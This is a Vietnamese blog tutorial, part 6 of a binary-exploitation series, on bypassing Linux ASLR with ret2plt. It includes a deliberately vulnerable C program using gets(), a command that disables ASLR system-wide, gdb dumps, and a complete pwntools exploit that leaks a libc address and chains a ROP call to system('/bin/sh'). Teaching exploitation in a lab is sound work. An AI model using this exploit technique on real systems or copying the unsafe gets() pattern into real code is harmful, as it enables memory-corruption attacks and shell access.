- vừa được xem lúc

Linux Exploit - Buffer Overflow - Phần 6 - Bypass ASLR (Address Space Layout Randomization)

0 0 29

Người đăng: Vương Lê

Theo Viblo Asia

Chào mọi người, sau phần 5 - bypass Stack Canary, phần 6 mình sẽ hướng dẫn mọi người cách bypass cơ chế ASLR trên linux

1. ASLR là gì?

ASLS viết tắt của Address space layout randomization, tức là ngẫu nhiên hóa không gian địa chỉ. Từ phần 1 đến phần 5 chúng ta luôn tắt cơ chế này đi, bằng dòng lệnh sau: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space, nhằm tắt chế độ này đi. Khi chế độ này được bật, các thư viện sử dụng trong quá trình chạy tệp nhị phân sẽ được tải vào 1 địa chỉ bộ nhớ khác, để bật chế độ này, ta sửa giá trị của randomize_va_space thành 2: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space. Cụ thể, để dễ hiểu hơn, mình sẽ có 1 file C như sau:

vuln.c

#include <stdio.h>
#include <string.h> int main(){ char buff[10]; puts("String: "); gets(buff); return 0;
}

Tiến hành compile: gcc -m32 vuln.c -o vuln-32 -no-pie -mpreferred-stack-boundary=2, mình tắt stackcanary để tập trung vào ASLR nha.

Sử dụng ldd vuln-32 để kiểm tra thư viện được sử dụng, ta được kết quả địa chỉ thư viện thay đổi sau mỗi lần chạy.

Có thể thấy sau mỗi lần sử dụng, địa chỉ của libc đã bị thay đổi, vì vậy, đối với việc sử dụng để bypass NX bằng ret2libc, chúng ta sẽ không thể làm được vì không thể biết được địa chỉ của libc này.

2. Bypass ASLR bằng ret2plt

Đầu tiên chúng ta cần hiểu PLT và GOT là gì. PLT (Procedure linkage table) và GOT (global offset table) là các phần trong tệp ELF nhằm xử lý các liên kết động. Cụ thể, khi trong chương trình sẽ có các hàm, ví dụ như ở trên sẽ là puts và gets, trong quá trình compile, nhằm giảm thiểu kích thước của tệp nhị phân, 2 function này sẽ không được compile cùng với chương trình. Thay vào đó, mỗi khi chạy chương trình đã được biên dịch, PLT và GOT sẽ phát huy tác dụng.

Mở gdb để phân tích file vuln ở trên, thực hiện disassemble hàm main ta được kết quả như sau:

gef➤ disassemble main
Dump of assembler code for function main: 0x08049166 <+0>: push ebp 0x08049167 <+1>: mov ebp,esp 0x08049169 <+3>: push ebx 0x0804916a <+4>: sub esp,0xc 0x0804916d <+7>: call 0x80490a0 <__x86.get_pc_thunk.bx> 0x08049172 <+12>: add ebx,0x2e82 0x08049178 <+18>: lea eax,[ebx-0x1fec] 0x0804917e <+24>: push eax 0x0804917f <+25>: call 0x8049050 <puts@plt> 0x08049184 <+30>: add esp,0x4 0x08049187 <+33>: lea eax,[ebp-0xe] 0x0804918a <+36>: push eax 0x0804918b <+37>: call 0x8049040 <gets@plt> 0x08049190 <+42>: add esp,0x4 0x08049193 <+45>: mov eax,0x0 0x08049198 <+50>: mov ebx,DWORD PTR [ebp-0x4] 0x0804919b <+53>: leave 0x0804919c <+54>: ret End of assembler dump.

Có thể thấy, chương trình không chuyển đến hàm puts mà là puts@plt tại địa chỉ 0x8049050, đặt breakpoint 0x0804917f và chạy chương trình, kết quả là:

→ 0x804917f <main+25> call 0x8049050 <puts@plt> ↳ 0x8049050 <puts@plt+0> jmp DWORD PTR ds:0x804c008 0x8049056 <puts@plt+6> push 0x10 0x804905b <puts@plt+11> jmp 0x8049020 0x8049060 <_start+0> xor ebp, ebp 0x8049062 <_start+2> pop esi 0x8049063 <_start+3> mov ecx, esp

Kiểm tra địa chỉ tại 0x804c008 ta được:

gef➤ x/s 0x804c008
0x804c008 <puts@got.plt>: "V\220\004\b"

Tiếp đến chương trình nhảy đến puts@got.plt, đây chính là nơi hàm puts được lưu trong thư viện libc. Vì vậy, tóm lại, chỉ cần gọi function trong bảng plt, nó sẽ tự động thực hiện tìm kiếm địa chỉ của func trong got và thực hiện nó.

Thêm 1 điểm đặc biệt nữa, tuy địa chỉ của libc bị thay đổi, nhưng offset giữa nó và các function sẽ không thay đổi. Offset này ta có thể lấy được với libc.sym trong bảng symbols, vì vậy chỉ cần lấy ra được địa chỉ của function, ta có thể tính được địa chỉ của libc.

3. Tiến hành viết file exploit

Đầu tiên, cần xem xét function nào có thể sử dụng được để lấy địa chỉ.

gef➤ info functions All defined functions: Non-debugging symbols:
0x08049000 _init
0x08049030 __libc_start_main@plt
0x08049040 gets@plt
0x08049050 puts@plt
0x08049060 _start
0x08049090 _dl_relocate_static_pie
0x080490a0 __x86.get_pc_thunk.bx
0x080490b0 deregister_tm_clones
0x080490f0 register_tm_clones
0x08049130 __do_global_dtors_aux
0x08049160 frame_dummy
0x08049166 main
0x080491a0 _fini

Ta thấy ở đây có func puts sẽ in ra, vì vậy ta sẽ sử dụng nó để in ra địa chỉ của nó trong libc (puts@got), từ đó tính toán ra libc address.

Đầu tiên tìm địa chỉ của put@got bằng cách gọi hàm puts@plt với tham số đầu vào là puts@got, như vậy địa chỉ của puts@got sẽ được in ra.

from pwn import * context(os='linux', arch='i386')
p = process('./vuln-32') elf = ELF('./vuln-32')
libc = elf.libc puts_got = elf.got['puts'] #puts@plt puts_plt = elf.plt['puts'] #argument for puts@plt function
main = elf.sym['main'] #return address after puts function payload = b'A'*18 + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload)
p.readline()
data_recv = p.readline()
leaked_address = u32(data_recv[:-1]) libc.address = leaked_address - libc.sym['puts']

Cuối cùng thực hiện bypass NX bằng ROP, ta được file exploit.py như sau:

from pwn import * context(os='linux', arch='i386')
p = process('./vuln-32') elf = ELF('./vuln-32')
libc = elf.libc puts_got = elf.got['puts'] #puts@plt puts_plt = elf.plt['puts'] #argument for puts@plt function
main = elf.sym['main'] #return address after puts function payload = b'A'*18 + p32(puts_plt) + p32(main) + p32(puts_got) p.sendline(payload)
p.readline()
data_recv = p.readline()
leaked_address = u32(data_recv[:-1]) libc.address = leaked_address - libc.sym['puts'] rop = ROP(libc)
rop.raw("A"*18)
payload = b"A"*18 + b'\x90'*8
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(rop.chain()) p.interactive()

Link github file series: https://github.com/vuongle-vigo/BinaryExploit

Link github bài này: https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/ASLR_Bypass

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tìm bug với Eyewitness

. Chào các bạn, trong bài này mình sẽ viết về tool Eyewitness. Eyewiteness có tính năng chính là chụp hình lại giao diện trang web sau đó tạo một report thông qua file .

0 0 35

- vừa được xem lúc

[I passed OSWE] Nguồn gốc và sức mạnh | Tự tin và sự cố gắng

1. Giới thiệu.

0 0 27

- vừa được xem lúc

Tôi đã đánh cắp tên miền của MIT như thế nào?

. Chào cả nhà, lại là mình đây! Hôm này mình mang tới chủ đề mới đó là subdomain takeover hay nói cách đơn giản chiếm subdomain của người khác. Lỗi này rất thú vị và khá đơn giản để tìm kiếm.

0 0 42

- vừa được xem lúc

Keyboard from Scratch: Từ A tới Z

Keyboard from Scratch: Từ A tới Z. Sau khi kết thúc hai phần trước, chúng ta đã có những kiến thức cơ bản về chiếc bàn phím cơ, không để các bạn đợi lâu, ở phần này chúng ta sẽ thực sự bắt tay vào làm

0 0 36

- vừa được xem lúc

Keyboard from Scratch: Debounce

Keyboard from Scratch: Debounce. Bạn đang xem phần hai của một sê ri nhiều phần, nhiều chừng nào, nhiều đến khi nào, thì chưa biết được. . .

0 0 35

- vừa được xem lúc

Keyboard from Scratch: Prototype

Keyboard from Scratch: Prototype. Là một lập trình viên, bàn phím là một vật dụng bạn phải sờ vào hằng ngày, thậm chí số lần bạn sờ nó còn nhiều hơn số lần bạn sờ vào vợ hoặc bạn gái.

0 0 34